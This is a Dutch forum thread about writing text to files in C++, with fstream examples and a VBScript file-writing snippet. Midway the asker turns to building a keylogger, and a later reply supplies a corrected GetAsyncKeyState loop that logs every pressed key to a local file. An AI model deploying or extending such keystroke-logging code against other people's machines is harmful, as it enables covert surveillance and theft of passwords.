schrijven naar text files

Status
Niet open voor verdere reacties.

mmatteman

Gebruiker
Lid geworden
3 sep 2008
Berichten
287
Hallo,,

Hoe kan ik tekst naar text bestanden schrijven? op een paar sites heb ik een tutorialtje gevonden om dat te doen, maar daar krijg ik twee problemen mee:
1 ze verwijzen in die tutorial alleen naar het bestand (test.txt bijvoorbeeld) in plaats van naar de hele locatie (C:\test.txt bijvoorbeeld)
2 als ik dat voorbeeld volg, krijg ik geen compiler fouten, maar er wordt ook niks naar het bestand geschreven.
 
Als het pad alleen 'test.txt' is, dan is het waarschijnlijk dat het bestand in de huidige directory is of dat het hiernaar zou moeten worden geschreven (ik neem aan waar je code is). Verder weet ik niet precies wat in die tutorial staat.

Als je tekst naar tekst-bestanden wilt schrijven, kun je denk ik 'getline' en 'cin' gebruiken met een 'while'-loop, en naar je object van een bestand schrijven. Terwijl 'getline' waar is, dus zolang er tekst wordt gedetecteerd, schrijf de boel naar het bestand. Zo ongeveer.
 
dus..
Code:
ofstream textfile ("C:\textfile.txt", ios::app);
zou ook kunnen werken?
 
Dat weet ik niet, het is mij allemaal lang geleden, maar ik zou zeggen van niet. Dat 'ios::app' zal iemand anders waarschijnlijk beter uit kunnen leggen.

Wat ik je wel kan vertellen is dat ik iets dergelijks zo zou doen:

Code:
#include <string>      
#include <fstream>   
using namespace std;

int main() {
  ifstream bestand_in( "erin.txt" );    // je gewenste pad neerleggen daar
  ofstream bestand_uit( "eruit.txt" ); // hier ook

  string tekst;
  while ( getline( bestand_in, tekst ) )
    bestand_uit << tekst << "\n";

  return 0;
}

Ik heb het nooit gedaan, maar je zou gewoon het 'ifstream'-object weglaten en vervangen door welke string/tekst je maar wilt. En over het pad: ik neem aan dat je waarschijnlijk gewoon dat pad moet uitschrijven ja, bijvoorbeeld "C:\<rest van pad>". Dat zou je gewoon even moeten uitproberen, en als het niet lukt, kom terug en iemand anders helpt je wel. Ik bedenk me net dat je misschien " moet escapen met \ als je het pad totaal uitschrijft, maar het bier van laatst zit nog in m'n kop :D

Hopelijk heeft het je geholpen.

PS: dit forum kan wel wat syntax highlighting gebruiken en een betere font.
 
Ok bedankt voor je reactie. Ik heb een beetje uit kunnen vogelen hoe het werkt.
Aan de hand daarvan wil ik proberen een soort keylogger te maken (nee ik ga hem niet sturen naar mensen ofzo, het is alleen voor educatieve doeleinden :p). Ik weet nu hoe ik naar textbestanden schrijf en hoe ik met GetAsyncKeyState() ingedrukte toetsen kan opnemen. Het lukt me alleen niet zo goed om die twee te combineren. Dit is wat ik heb:
Code:
#include <iostream>
#include <fstream>
#include <windows.h>

using namespace std;
int main()
{
    char keys;
    int keycode;
    ofstream textlog("textlog.txt");
    for (keycode=0; keycode<255; keycode++)
    {
    // geef keycode de waardes 0 t/m 255
    }
    if (textlog.is_open())
    {
                          while(2)
                          {
                                  if (GetAsyncKeyState(keycode))
                                  {
                                                                keys=keycode;
                                                                cout << keys;
                                                                textlog  << keys;
                                                                textlog.close();
                                                                }
                                                                }
                                                                }
                                                                else
                                                                {
                          cout << "Bestand 'textlog.txt' niet gevonden" << endl;
                          }
}

als ik compileer, krijg ik geen fouten, maaar als ik hem uitvoer en iik typ bijvoorbeeld iets, zie ik niets op het consolescherm verschijnen en er wordt ook niks naar mijn textbestandje geschreven..

Als iemand mij alsjeblieft een duwtje in de goeie richting wil geven? :D
 
Laatst bewerkt:
Ik was een tijdje geleden ook bezig te leren hoe je naar bestanden kunt schrijven en hoe je dat dan weer kunt lezen. Ik vond dit een hele handig site: klik hier

Ik hoop dat je dr wat aan hebt:rolleyes:


edit:
idd, dit forum is goed genoeg en goed leesbaar en overzichtelijk.
 
Laatst bewerkt:
PS: dit forum kan wel wat syntax highlighting gebruiken en een betere font.

nooo plz nooo ik ben juist blij dat dit forum niet al die kleurtjes gebruikt, dan is het tenminste leesbaar.

"while(2)" was de bedoeling hiervan?
Op deze manier kan je maar 1 key lezen en dan sluit je file, weet niet of dat de bedoeling is of niet.
Je wilt waarschijnlijk het lezen ook in een loop zetten?

ios::app betekent dat je toevoegt aan het bestaande bestand, ios::beg voor als je vanaf het begin wilt schrijven
 
Laatst bewerkt:
er moet uiteindelijk een boolean tussen die haakjes komen dus dat is 0, 1 of een conditie
 
er moet uiteindelijk een boolean tussen die haakjes komen dus dat is 0, 1 of een conditie

Een '2' levert gewoon true op... (niet gelijk aan 0)

Code:
    for(int i = -1; i < 2; i++)
      if(i)
        std::cout << i << '\n';
 
hmpf ik ben er nog steeds niet uitgekomen. Maakt niet uit, ik ga wel gewoon wat dingetjes proberen. Bedankt voor jullie inzet!
 
Code:
#include <iostream>
#include <fstream>
#include <windows.h>

using namespace std;
int main()
{
    char keys;
    int keycode;
    ofstream textlog("textlog.txt");
    for (keycode=0; keycode<255; keycode++)
    {
    // geef keycode de waardes 0 t/m 255
    }
    if (textlog.is_open())
    {
                          while(2)
                          {
                                  if (GetAsyncKeyState(keycode))
                                  {
                                                                keys=keycode;
                                                                cout << keys;
                                                                textlog  << keys;
                                                                textlog.close();
                                                                }
                                                                }
                                                                }
                                                                else
                                                                {
                          cout << "Bestand 'textlog.txt' niet gevonden" << endl;
                          }
}

Die hele code is gewoon niet goed. Waarom bijvoorbeeld dmv een for-loop een waarde aan keycode toekennen, terwijl je dit ook in één keer kunt doen. En weet je zeker dat de huidige waarde van 'keycode' ooit zal worden uitgevoerd ? (verder kun je maar één waarde toe aan de variabele keycode... uit je commentaar krijg ik het idee dat je hele andere bedoelingen hebt ?)

Verder start je een oneindige lus met de voorwaarde dat de stream 'textlog' open is. Maar zodra er één geldige key wordt ingedrukt(getasynckeystate) dan sluit je de stream. Wat dus het effect heeft dat de volgende keer dat er een geldige key wordt ingedrukt er niks meer naar zal worden geschreven, omdat de stream al gesloten is.

Geef dus een geldige waarde op om tegen te controleren bij GetAsyncKeyState. En sluit de stream pas als er niet meer naar geschreven hoeft te worden.
 
Laatst bewerkt:
Je kan het ook met VBScript maar dan komt er wel een bericht dat je moet accepteren over Axtive-X besturingselementen :confused:
je kan dan zoiets gebruiken:
Code:
<html>
<head>
<script language='vbscript' event='onClick' for='but'>
  if document.all.x.value="" then
  msgbox"Je hebt niets ingevuld in het invulvakje!!!!",16,"ERROR"
  else
  Dim fso, f, a
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set f = fso.OpenTextFile("C:\testfile.txt", 8, True)
  f.writeline document.all.x.value
  Set f = fso.OpenTextFile("C:\testfile.txt", 1)
  document.write("U hebt `" + document.all.x.value + "´ geschreven in het bestand `C:\testfile.txt´ !!!")
  end if
</script>
</head>
<body>
<input type='text' name='x'>&nbsp;&nbsp;<input type='button' id='but' value='Schrijf het in de file testfile.txt!' style='background-color:white'>
</body>
</html>

Zo kan je dingen schrijven in het file 'C:\testfile.txt' (als je dat file niet zelf aanmaakt maakt hij het zelf aan met het script)
 
lol ik ben er nog steeds niet uitgekomen, hoewel het eigenlijk zo simpel zou moeten zijn. Ik ga toch maar eens terug naar de basis, want dit is misschien te hoog gegrepen voor mij...
 
hmm

Bij mij werkt het vbscriptje :p
Je kan het ook met javascript maar dan moet je ook zoiets van active-X besturingselementen accepteren :p
moetik dan ffe zo'n scriptje schrijven voor javascript?
 
lol ik ben er nog steeds niet uitgekomen, hoewel het eigenlijk zo simpel zou moeten zijn. Ik ga toch maar eens terug naar de basis, want dit is misschien te hoog gegrepen voor mij...

Op een paar kleine foutjes na zit/zat je aardig in de richting.

Code:
std::ofstream out("c:\\test.txt");

while(true)
{
   for(int i = 0; i < 255; i++)
      if(GetAsyncKeyState(i) == -32767)
         out << i; // een geldige key is ingedrukt, doe hetgeen je wilt...
}

out.close();

De bovenstaande code zou alle keys wel loggen, maar schrijft de data pas daadwerkelijk weg wanneer out.close() wordt aangeroepen. In jouw code roep je die iedere keer aan nadat er een geldige key zou zijn ingedrukt. De data wordt dan inderdaad weggeschreven, maar daarna kan er geen data meer naar de stream worden geschreven omdat deze gesloten is.

Je hoeft dus alleen maar te zorgen dat alle data wordt weggeschreven. (bij elke schrijf actie het bestand openen en sluiten lijkt me niet de beste manier ;))
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan